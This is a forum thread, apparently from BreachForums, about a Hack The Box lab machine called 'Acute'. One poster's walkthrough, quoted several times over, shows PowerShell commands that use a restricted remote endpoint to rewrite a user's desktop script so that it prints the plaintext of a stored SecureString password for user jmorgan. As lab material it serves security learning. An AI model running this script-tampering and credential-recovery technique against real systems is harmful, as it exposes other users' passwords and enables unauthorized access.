Return to forum
Acute HTB Writeup
by - Thursday, January 1, 1970 at 12:00 AM
Member
Member
Posts: 2
Threads: 0
Joined: N/A
Reputation: 0

#41
June 30, 2022 at 10:15 PM
(June 19, 2022, 03:07 PM)langetmama11 Wrote: Available writeup for this machine is down on anonfiles

Here's a working one

Write up
https://fdlucifer.github.io/2022/02/16/acute




Edit: I have added my personal findings for those who want to reverse the SecureString of user jmorgan
This is for learning purposes
Do it after you pawn the box

Note: We cannot run much commands as the imonk user. We can check by running this
Invoke-Command -computername ATSSERVER -ConfigurationName dc_manage -credential $cred -command {get-command}



We can use Set-Content. So we replace the last line in the powershell script on imonks user desktop

Invoke-Command -computername ATSSERVER -ConfigurationName dc_manage -credential $cred -command {((cat "C:\Users\imonks\Desktop\wm.ps1") -replace 'Invoke-Command -ScriptBlock \{Get-Volume} -ComputerName Acute-PC01 -Credential \$creds','[System.Runtime.InteropServices.Marshal]::PtrToStringAuto([System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($passwd))') |set-content -path "C:\Users\imonks\Desktop\wm.ps1"}


We can cat the script to see if it was written

Invoke-Command -computername ATSSERVER -ConfigurationName dc_manage -credential $cred -command {cat C:\Users\imonks\Desktop\wm.ps1}


Final Script should look like this

$securepasswd = '01000000d08c9ddf0115d1118c7a00c04fc297eb0100000096ed5ae76bd0da4c825bdd9f24083e5c0000000002000000000003660000c00000001000000080f704e251793f5d4f903c7158c8213d0000000004800000a000000010000000ac2606ccfda6b4e0a9d56a20417d2f67280000009497141b794c6cb963d2460bd96ddcea35b25ff248a53af0924572cd3ee91a28dba01e062ef1c026140000000f66f5cec1b264411d8a263a2ca854bc6e453c51'
$passwd = $securepasswd | ConvertTo-SecureString
$creds = New-Object System.Management.Automation.PSCredential ("acute\jmorgan", $passwd)
[System.Runtime.InteropServices.Marshal]::PtrToStringAuto([System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($passwd))



After which we run it
Invoke-Command -computername ATSSERVER -ConfigurationName dc_manage -credential $cred -command {C:\Users\imonks\Desktop\wm.ps1}


We have successfully decrypted the SecureString password

Note:
ConverTo-SecureString uses a key thus preventing us from decrypting the password on another machine
So we have to do it on the host only



Hope you learned something
Leave a Rep if that helped

thxxxxx
Reply
Banned
Posts: 35
Threads: 0
Joined: N/A
Reputation: 0

#42
July 1, 2022 at 1:03 AM
nice :) :) :) :)
Reply
BreachForums User
Member
Posts: 0
Threads: 0
Joined: N/A
Reputation: 0

#43
July 1, 2022 at 11:14 PM
Thanks
Reply
BreachForums User
MVP
Posts: 35
Threads: 0
Joined: N/A
Reputation: 20

#44
July 2, 2022 at 3:13 AM
thanks!
Reply
Banned
Posts: 27
Threads: 0
Joined: N/A
Reputation: 2

#45
July 2, 2022 at 12:44 PM
(June 19, 2022, 03:07 PM)langetmama11 Wrote: Available writeup for this machine is down on anonfiles

Here's a working one

Write up
https://fdlucifer.github.io/2022/02/16/acute




Edit: I have added my personal findings for those who want to reverse the SecureString of user jmorgan
This is for learning purposes
Do it after you pawn the box

Note: We cannot run much commands as the imonk user. We can check by running this
Invoke-Command -computername ATSSERVER -ConfigurationName dc_manage -credential $cred -command {get-command}



We can use Set-Content. So we replace the last line in the powershell script on imonks user desktop

Invoke-Command -computername ATSSERVER -ConfigurationName dc_manage -credential $cred -command {((cat "C:\Users\imonks\Desktop\wm.ps1") -replace 'Invoke-Command -ScriptBlock \{Get-Volume} -ComputerName Acute-PC01 -Credential \$creds','[System.Runtime.InteropServices.Marshal]::PtrToStringAuto([System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($passwd))') |set-content -path "C:\Users\imonks\Desktop\wm.ps1"}


We can cat the script to see if it was written

Invoke-Command -computername ATSSERVER -ConfigurationName dc_manage -credential $cred -command {cat C:\Users\imonks\Desktop\wm.ps1}


Final Script should look like this

$securepasswd = '01000000d08c9ddf0115d1118c7a00c04fc297eb0100000096ed5ae76bd0da4c825bdd9f24083e5c0000000002000000000003660000c00000001000000080f704e251793f5d4f903c7158c8213d0000000004800000a000000010000000ac2606ccfda6b4e0a9d56a20417d2f67280000009497141b794c6cb963d2460bd96ddcea35b25ff248a53af0924572cd3ee91a28dba01e062ef1c026140000000f66f5cec1b264411d8a263a2ca854bc6e453c51'
$passwd = $securepasswd | ConvertTo-SecureString
$creds = New-Object System.Management.Automation.PSCredential ("acute\jmorgan", $passwd)
[System.Runtime.InteropServices.Marshal]::PtrToStringAuto([System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($passwd))



After which we run it
Invoke-Command -computername ATSSERVER -ConfigurationName dc_manage -credential $cred -command {C:\Users\imonks\Desktop\wm.ps1}


We have successfully decrypted the SecureString password

Note:
ConverTo-SecureString uses a key thus preventing us from decrypting the password on another machine
So we have to do it on the host only



Hope you learned something
Leave a Rep if that helped


nice bro
Reply
Member
Member
Posts: 26
Threads: 0
Joined: N/A
Reputation: 0

#46
July 2, 2022 at 12:46 PM
(June 19, 2022, 03:07 PM)langetmama11 Wrote: Available writeup for this machine is down on anonfiles

Here's a working one

Write up
https://fdlucifer.github.io/2022/02/16/acute




Edit: I have added my personal findings for those who want to reverse the SecureString of user jmorgan
This is for learning purposes
Do it after you pawn the box

Note: We cannot run much commands as the imonk user. We can check by running this
Invoke-Command -computername ATSSERVER -ConfigurationName dc_manage -credential $cred -command {get-command}



We can use Set-Content. So we replace the last line in the powershell script on imonks user desktop

Invoke-Command -computername ATSSERVER -ConfigurationName dc_manage -credential $cred -command {((cat "C:\Users\imonks\Desktop\wm.ps1") -replace 'Invoke-Command -ScriptBlock \{Get-Volume} -ComputerName Acute-PC01 -Credential \$creds','[System.Runtime.InteropServices.Marshal]::PtrToStringAuto([System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($passwd))') |set-content -path "C:\Users\imonks\Desktop\wm.ps1"}


We can cat the script to see if it was written

Invoke-Command -computername ATSSERVER -ConfigurationName dc_manage -credential $cred -command {cat C:\Users\imonks\Desktop\wm.ps1}


Final Script should look like this

$securepasswd = '01000000d08c9ddf0115d1118c7a00c04fc297eb0100000096ed5ae76bd0da4c825bdd9f24083e5c0000000002000000000003660000c00000001000000080f704e251793f5d4f903c7158c8213d0000000004800000a000000010000000ac2606ccfda6b4e0a9d56a20417d2f67280000009497141b794c6cb963d2460bd96ddcea35b25ff248a53af0924572cd3ee91a28dba01e062ef1c026140000000f66f5cec1b264411d8a263a2ca854bc6e453c51'
$passwd = $securepasswd | ConvertTo-SecureString
$creds = New-Object System.Management.Automation.PSCredential ("acute\jmorgan", $passwd)
[System.Runtime.InteropServices.Marshal]::PtrToStringAuto([System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($passwd))



After which we run it
Invoke-Command -computername ATSSERVER -ConfigurationName dc_manage -credential $cred -command {C:\Users\imonks\Desktop\wm.ps1}


We have successfully decrypted the SecureString password

Note:
ConverTo-SecureString uses a key thus preventing us from decrypting the password on another machine
So we have to do it on the host only



Hope you learned something
Leave a Rep if that helped



ppppppppppppppppppppppppp
Reply
Banned
Posts: 41
Threads: 0
Joined: N/A
Reputation: 1

#47
July 2, 2022 at 1:21 PM
......................
Reply
Member
Member
Posts: 6
Threads: 0
Joined: N/A
Reputation: 0

#48
July 3, 2022 at 12:52 AM
gracias
Reply
Member
Member
Posts: 21
Threads: 0
Joined: N/A
Reputation: 0

#49
July 3, 2022 at 2:23 PM
'''''''
Reply
Member
Member
Posts: 24
Threads: 0
Joined: N/A
Reputation: 0

#50
July 4, 2022 at 12:34 AM
(June 19, 2022, 03:07 PM)langetmama11 Wrote: Available writeup for this machine is down on anonfiles

Here's a working one

Write up
https://fdlucifer.github.io/2022/02/16/acute

i



Edit: I have added my personal findings for those who want to reverse the SecureString of user jmorgan
This is for learning purposes
Do it after you pawn the box

Note: We cannot run much commands as the imonk user. We can check by running this
Invoke-Command -computername ATSSERVER -ConfigurationName dc_manage -credential $cred -command {get-command}



We can use Set-Content. So we replace the last line in the powershell script on imonks user desktop

Invoke-Command -computername ATSSERVER -ConfigurationName dc_manage -credential $cred -command {((cat "C:\Users\imonks\Desktop\wm.ps1") -replace 'Invoke-Command -ScriptBlock \{Get-Volume} -ComputerName Acute-PC01 -Credential \$creds','[System.Runtime.InteropServices.Marshal]::PtrToStringAuto([System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($passwd))') |set-content -path "C:\Users\imonks\Desktop\wm.ps1"}


We can cat the script to see if it was written

Invoke-Command -computername ATSSERVER -ConfigurationName dc_manage -credential $cred -command {cat C:\Users\imonks\Desktop\wm.ps1}


Final Script should look like this

$securepasswd = '01000000d08c9ddf0115d1118c7a00c04fc297eb0100000096ed5ae76bd0da4c825bdd9f24083e5c0000000002000000000003660000c00000001000000080f704e251793f5d4f903c7158c8213d0000000004800000a000000010000000ac2606ccfda6b4e0a9d56a20417d2f67280000009497141b794c6cb963d2460bd96ddcea35b25ff248a53af0924572cd3ee91a28dba01e062ef1c026140000000f66f5cec1b264411d8a263a2ca854bc6e453c51'
$passwd = $securepasswd | ConvertTo-SecureString
$creds = New-Object System.Management.Automation.PSCredential ("acute\jmorgan", $passwd)
[System.Runtime.InteropServices.Marshal]::PtrToStringAuto([System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($passwd))



After which we run it
Invoke-Command -computername ATSSERVER -ConfigurationName dc_manage -credential $cred -command {C:\Users\imonks\Desktop\wm.ps1}


We have successfully decrypted the SecureString password

Note:
ConverTo-SecureString uses a key thus preventing us from decrypting the password on another machine
So we have to do it on the host only



Hope you learned something
Leave a Rep if that helped
Reply


 Users viewing this thread: Acute HTB Writeup: No users currently viewing.